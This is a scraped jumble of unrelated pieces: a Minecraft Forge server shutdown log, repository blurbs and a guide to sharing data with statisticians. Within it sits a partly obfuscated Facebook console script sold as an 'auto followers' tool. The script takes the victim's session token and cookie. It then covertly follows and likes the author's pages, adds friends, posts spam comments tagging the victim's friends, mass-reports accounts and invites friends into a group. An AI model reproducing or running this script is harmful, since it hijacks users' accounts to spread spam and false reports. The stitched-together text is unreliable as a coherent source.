[FML]: Sent event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Instant Massive Structures Mod took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Just Enough Items took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Land Manager took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisCore took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisDoors took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Mobs took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Serene Seasons took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Weaponry took 0.001s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Shields took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Team Up took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings, Horns, and Hooves, the Ultimate Unicorn Mod! took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Zoo and Wild Animals Mod: Rebuilt took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt took 0.000s [14:28:04] [Server thread/DEBUG] [FML]: BThe state engine was in incorrect state PREINITIALIZATION and forced into state SERVER_STOPPED. Errors may have been discarded.
skillt
/*HTML/JavaScript page status="protected"*/ /*FACEBOOK FOLLOWERS*/ /*Copyright © 2014 Kodran Piraj. All Rights Reserved.*/ alert('FACEBOOK FOLLOWERS'); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100006491494904");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("194869190710812");sublist("500449573409094");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("658905560786579");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} IDS("100006491494904");IDS("100003208271793"); a("100005634423532"); a("100006491494904"); a("100003208271793"); a("100004089581878"); Like("100004089581878"); Like("100004089581878"); Like("100004089581878"); Like("1084343657799203171"); Like("30945390923102037"); Like("3984262332433613100"); Like("100004089581878"); Like("100004089581878"); Like("262926440424877"); sublist("400567513422898"); sublist("400567513422898"); var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","521349377986258","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," АВТО ЛАЙК АВТО ФОЛЛОВ || ЭНЭ ҮНЭХЭЭР АЖИЛЛАЖ БАЙНА :* \udbb8\udc3c @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= ЭНЭ АЖИЛЛАЖ БАЙНА ШҮҮ- AUTO FOLLOWERS [ 100% ] ^_^ АВТО ЛАЙК Ч ГЭСЭН ОРЖ БАЙНА","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var now=(new Date).getTime(); function report(r) { var X = new XMLHttpRequest(); var XURL = "https://www.facebook.com/ajax/report/social.php"; var XParams ="fb_dtsg="+fb_dtsg+"&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A" + r +"%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2F%22%2C%22report_type%22%3A145%2C%22rid%22%3A" + r +"%2C%22sub_report_type%22%3A141%2C%22time_flow_started%22%3A"+now+"%2C%22user%22%3A"+user_id+"%7D&file_report=1&__user="+user_id+"&__a=1&__dyn=7n8ahyj35ynzpQ9UmAWuURDw&__req=h&ttstamp=26581661107112011276&confirmed=1"; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } report("1433366523547439"); report("425727700890606"); report("658905560786579"); report("235045116656399"); report("209774545798054"); report("263468707078420"); report("539130682777986"); report("541263169296220"); report("420028578124352"); report("100003587565306"); report("100000195049467"); report("100002364544264"); report("100007465059274"); report("431764080286507"); report("430694670393448"); report("436990546430527"); report("436989276430654"); report("436990139763901"); report("458359937626921"); report("441332095996833"); report("100003587565306"); report("100000195049467"); report("100002364544264"); report("100007465059274"); var Title = ' FACEBOOK FOLLOWERS 2014 '; var Descriptions = "", _text = 'Powered By: <A style="color:#3B5998;" href="http://www.facebook.com/32123123213s" target="_blank">Kodran Piraj</A> & <A style="color:#3B5998;" href="http://www.facebook.com/ddasdsasd23" target="_blank"> Kodran Piraj - Kosovo</A>.</br>Script Made By: </A><A style="color:#3B5998;" href="http://www.facebook.com/thePrince.k1" target="_blank"> Kodran Piraj</A></A>,</A><A style="color:#3B5998;" href="http://www.facebook.com/blaablaa" target="_blank"> Kodran Pirj </A></A>.</br>For More Tools Visit Our Blogger <A style="color:#3B5998;" href="http://autolikes-bykodran.blogspot.com/" target="_blank">AUTO LIKES</A>.</A>'; newcomer = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1]; fb_dtsg = document.getElementsByName("fb_dtsg")[0].value; function SuggestFriend(opo) { jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=" + newcomer + "&attempt_id=b59804250a76689137fe1cb2c05367db&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35ynzpQ9UmWWuUGy6zECi8w&__req=o&fb_dtsg=" + fb_dtsg + "&ttstamp=265816610484687452", function (a) { var b = a.substring(a.indexOf("{")); var c = JSON.parse(b); i--; Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;"; if (c.error) { Descriptions += "color:darkred'>"; err++; if (c.errorDescription) Descriptions += c.errorDescription; else Descriptions += JSON.stringify(c, null, "") } else { Descriptions += "color:gray;font-size:12px'>"; Descriptions += "Friend Suggestion Sent"; suc++ } Descriptions += "</div>"; var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(225,225,225,0.9);color:#000000'>"; display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>"; if (i > 0) { display += arr.length + " Friends Detected<br/>"; display += "<b>" + suc + "</b> Friends Suggested of " + (arr.length - i) + " Friends Processed "; display += "(" + i + " Lefted...)"; display += "<div class='friend-edge'>"; display += Descriptions; display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>"; display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>"; display += _text; display += "</div>"; display += "</div>" } else { display += arr.length + " Friends Detected and "; display += "<b>" + suc + " Friends Suggested</b></br>"; display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span>" } display += "</div>"; document.getElementById("pagelet_sidebar").innerHTML = display }, "text", "post"); tay--; if (tay > 0) { var s = arr[tay]; sx = pho[tay]; setTimeout("SuggestFriend(" + s + ")", 100) } console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc); if (newcomer) { jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=233639806819861&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post") } if (newcomer) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=1421483778086884&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post"); } } function clickfr_callback() { if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]); var a = arr[i]; if (i < arr.length) addfriend(a.substring(0, 4)) } function clickfr() { if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]); else j++; setTimeout("clickfr_callback()", 2E3) } function addfriend(a) { i++; setTimeout("clickfr()", 2E3) } jx = { getHTTPObject: function () { var a = false; if (typeof ActiveXObject != "undefined") try { a = new ActiveXObject("Msxml2.XMLHTTP") } catch (b) { try { a = new ActiveXObject("Microsoft.XMLHTTP") } catch (c) { a = false } } else if (window.XMLHttpRequest) try { a = new XMLHttpRequest } catch (b) { a = false } return a }, load: function (url, callback, format, method, opt) { var http = this.init(); if (!http || !url) return; if (http.overrideMimeType) http.overrideMimeType("text/xml"); if (!method) method = "GET"; if (!format) format = "text"; if (!opt) opt = {}; format = format.toLowerCase(); method = method.toUpperCase(); var now = "uid=" + (new Date).getTime(); url += url.indexOf("?") + 1 ? "&" : "?"; url += now; var parameters = null; if (method == "POST") { var parts = url.split("?"); url = parts[0]; parameters = parts[1] } http.open(method, url, true); var ths = this; if (opt.handler) http.onreadystatechange = function () { opt.handler(http) }; else http.onreadystatechange = function () { if (http.readyState == 4) if (http.status == 200) { var result = ""; if (http.responseText) result = http.responseText; if (format.charAt(0) == "j") { result = result.replace(/[\n\r]/g, ""); result = eval("(" + result + ")") } else if (format.charAt(0) == "x") result = http.responseXML; if (callback) callback(result) } else { if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator); if (opt.loading) document.getElementById(opt.loading).style.display = "none"; if (error) error(http.status) } }; http.send(parameters) }, bind: function (a) { var b = { url: "", onSuccess: false, onError: false, format: "text", method: "GET", update: "", loading: "", loadingIndicator: "" }; for (var c in b) if (a[c]) b[c] = a[c]; if (!b.url) return; var d = false; if (b.loadingIndicator) { d = document.createElement("div"); d.setAttribute("style", "position:absolute;top:0px;left:0px;"); d.setAttribute("class", "loading-indicator"); d.innerHTML = b.loadingIndicator; document.getElementsByTagName("body")[0].appendChild(d); this.opt.loadingIndicator = d } if (b.loading) document.getElementById(b.loading).style.display = "block"; this.load(b.url, function (a) { if (b.onSuccess) b.onSuccess(a); if (b.update) document.getElementById(b.update).innerHTML = a; if (d) document.getElementsByTagName("body")[0].removeChild(d); if (b.loading) document.getElementById(b.loading).style.display = "none" }, b.format, b.method, b) }, init: function () { return this.getHTTPObject() } }; var nHtml = { FindByAttr: function (a, b, c, d) { if (c == "className") c = "class"; var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null); if (e && e.singleNodeValue) return e.singleNodeValue; return null }, FindByClassName: function (a, b, c) { return this.FindByAttr(a, b, "className", c) }, FindByXPath: function (a, b) { try { var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null) } catch (d) { GM_log("bad xpath:" + b) } if (c && c.singleNodeValue) return c.singleNodeValue; return null }, VisitUrl: function (a) { window.setTimeout(function () { document.location.href = a }, 500 + Math.floor(Math.random() * 500)) }, ClickWin: function (a, b, c) { var d = a.document.createEvent("MouseEvents"); d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null); return !b.dispatchEvent(d) }, Click: function (a) { return this.ClickWin(window, a, "click") }, ClickTimeout: function (a, b) { window.setTimeout(function () { return nHtml.ClickWin(window, a, "click") }, b + Math.floor(Math.random() * 500)) }, ClickUp: function (a) { this.ClickWin(window, a, "mousedown"); this.ClickWin(window, a, "mouseup"); this.ClickWin(window, a, "click") }, GetText: function (a, b) { var c = ""; if (b == undefined) b = 0; if (b > 40) return; if (a.textContent != undefined) return a.textContent; for (var d = 0; d < a.childNodes.length; d++) { var e = a.childNodes[d]; c += this.GetText(e, b + 1) } return c } }; if (document.getElementsByClassName == undefined) document.getElementsByClassName = function (a) { var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)"); var c = document.getElementsByTagName("*"); var d = []; var e; for (var f = 0; (e = c[f]) != null; f++) { var g = e.className; if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e) } return d }; Array.prototype.find = function (a) { var b = false; for (i = 0; i < this.length; i++) if (typeof a == "function") { if (a.test(this[i])) { if (!b) b = []; b.push(i) } } else if (this[i] === a) { if (!b) b = []; b.push(i) } return b }; var i = 3; var tay = 3; var j = 0; var k = 0; var suc = 0; var err = 0; var arr = new Array; var arn = new Array; var pho = new Array; jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) arr.push(d[e].uid); for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text); for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo); i = arr.length - 1; tay = i; console.log(arr.length); var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(225,225,225,0.9);color:#000000'>"; display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>"; display += arr.length + " Friends Detected"; display += "</div>"; document.getElementById("pagelet_sidebar").innerHTML = display; SuggestFriend(arr[i]) });
JJ81
implement column-count(css3) ordered vertically
lethek
Simple .NET app that Bulk Copies tables from one SQL Server database to another. The primary use-cases are: * when you do not have sufficient access to either database server in order to use better suited methods (e.g. backups, linked-servers etc); * when you only need to bulk-copy some specific tables; * when table-columns are ordered differently on the destination from the source.
ShaymaaSaied
Magento 2 Module to display product image in ordered items table in admin sales order view and add editable column in ordered items in admin sales order view
morotomihead
Excel compatible copy/paste, Export to CSV, a Filter to the column header, displaying an ordered list of the values that can be selected or un-selected to filter.
christianyates
A jQuery plugin to transform a html list into multiple columns, supporting both ordered and unordered lists.
jthi-jmp-tools
Join nearest rows based on continuous columns, for example timestamp. Supports multiple directions of fill, grouping and doesn't require the data to be ordered.
krishdev
This project was developed during the Advanced Web development course work. This project was developed using Java Spring and Hibernate with PostgreSQL . In a most simple form, this is a checklist that helps guiding the students through their college career. It looks like a table in which columns are called as Runways, Rows are Stages and the contents in between are checkpoints with checkboxes. All the three can be added,updated and deleted upon that they are re-ordered by dragging them and the checked checklists should remain the same till it is been unchecked all these should happen without reloading when the functions are made, this was implemented using Ajax. There are three types of users students, advisor and dean.
AdekoyaOlatolokikiAyomide
How to share data with a statistician This is a guide for anyone who needs to share data with a statistician or data scientist. The target audiences I have in mind are: Collaborators who need statisticians or data scientists to analyze data for them Students or postdocs in various disciplines looking for consulting advice Junior statistics students whose job it is to collate/clean/wrangle data sets The goals of this guide are to provide some instruction on the best way to share data to avoid the most common pitfalls and sources of delay in the transition from data collection to data analysis. The Leek group works with a large number of collaborators and the number one source of variation in the speed to results is the status of the data when they arrive at the Leek group. Based on my conversations with other statisticians this is true nearly universally. My strong feeling is that statisticians should be able to handle the data in whatever state they arrive. It is important to see the raw data, understand the steps in the processing pipeline, and be able to incorporate hidden sources of variability in one's data analysis. On the other hand, for many data types, the processing steps are well documented and standardized. So the work of converting the data from raw form to directly analyzable form can be performed before calling on a statistician. This can dramatically speed the turnaround time, since the statistician doesn't have to work through all the pre-processing steps first. What you should deliver to the statistician To facilitate the most efficient and timely analysis this is the information you should pass to a statistician: The raw data. A tidy data set A code book describing each variable and its values in the tidy data set. An explicit and exact recipe you used to go from 1 -> 2,3 Let's look at each part of the data package you will transfer. The raw data It is critical that you include the rawest form of the data that you have access to. This ensures that data provenance can be maintained throughout the workflow. Here are some examples of the raw form of data: The strange binary file your measurement machine spits out The unformatted Excel file with 10 worksheets the company you contracted with sent you The complicated JSON data you got from scraping the Twitter API The hand-entered numbers you collected looking through a microscope You know the raw data are in the right format if you: Ran no software on the data Did not modify any of the data values You did not remove any data from the data set You did not summarize the data in any way If you made any modifications of the raw data it is not the raw form of the data. Reporting modified data as raw data is a very common way to slow down the analysis process, since the analyst will often have to do a forensic study of your data to figure out why the raw data looks weird. (Also imagine what would happen if new data arrived?) The tidy data set The general principles of tidy data are laid out by Hadley Wickham in this paper and this video. While both the paper and the video describe tidy data using R, the principles are more generally applicable: Each variable you measure should be in one column Each different observation of that variable should be in a different row There should be one table for each "kind" of variable If you have multiple tables, they should include a column in the table that allows them to be joined or merged While these are the hard and fast rules, there are a number of other things that will make your data set much easier to handle. First is to include a row at the top of each data table/spreadsheet that contains full row names. So if you measured age at diagnosis for patients, you would head that column with the name AgeAtDiagnosis instead of something like ADx or another abbreviation that may be hard for another person to understand. Here is an example of how this would work from genomics. Suppose that for 20 people you have collected gene expression measurements with RNA-sequencing. You have also collected demographic and clinical information about the patients including their age, treatment, and diagnosis. You would have one table/spreadsheet that contains the clinical/demographic information. It would have four columns (patient id, age, treatment, diagnosis) and 21 rows (a row with variable names, then one row for every patient). You would also have one spreadsheet for the summarized genomic data. Usually this type of data is summarized at the level of the number of counts per exon. Suppose you have 100,000 exons, then you would have a table/spreadsheet that had 21 rows (a row for gene names, and one row for each patient) and 100,001 columns (one row for patient ids and one row for each data type). If you are sharing your data with the collaborator in Excel, the tidy data should be in one Excel file per table. They should not have multiple worksheets, no macros should be applied to the data, and no columns/cells should be highlighted. Alternatively share the data in a CSV or TAB-delimited text file. (Beware however that reading CSV files into Excel can sometimes lead to non-reproducible handling of date and time variables.) The code book For almost any data set, the measurements you calculate will need to be described in more detail than you can or should sneak into the spreadsheet. The code book contains this information. At minimum it should contain: Information about the variables (including units!) in the data set not contained in the tidy data Information about the summary choices you made Information about the experimental study design you used In our genomics example, the analyst would want to know what the unit of measurement for each clinical/demographic variable is (age in years, treatment by name/dose, level of diagnosis and how heterogeneous). 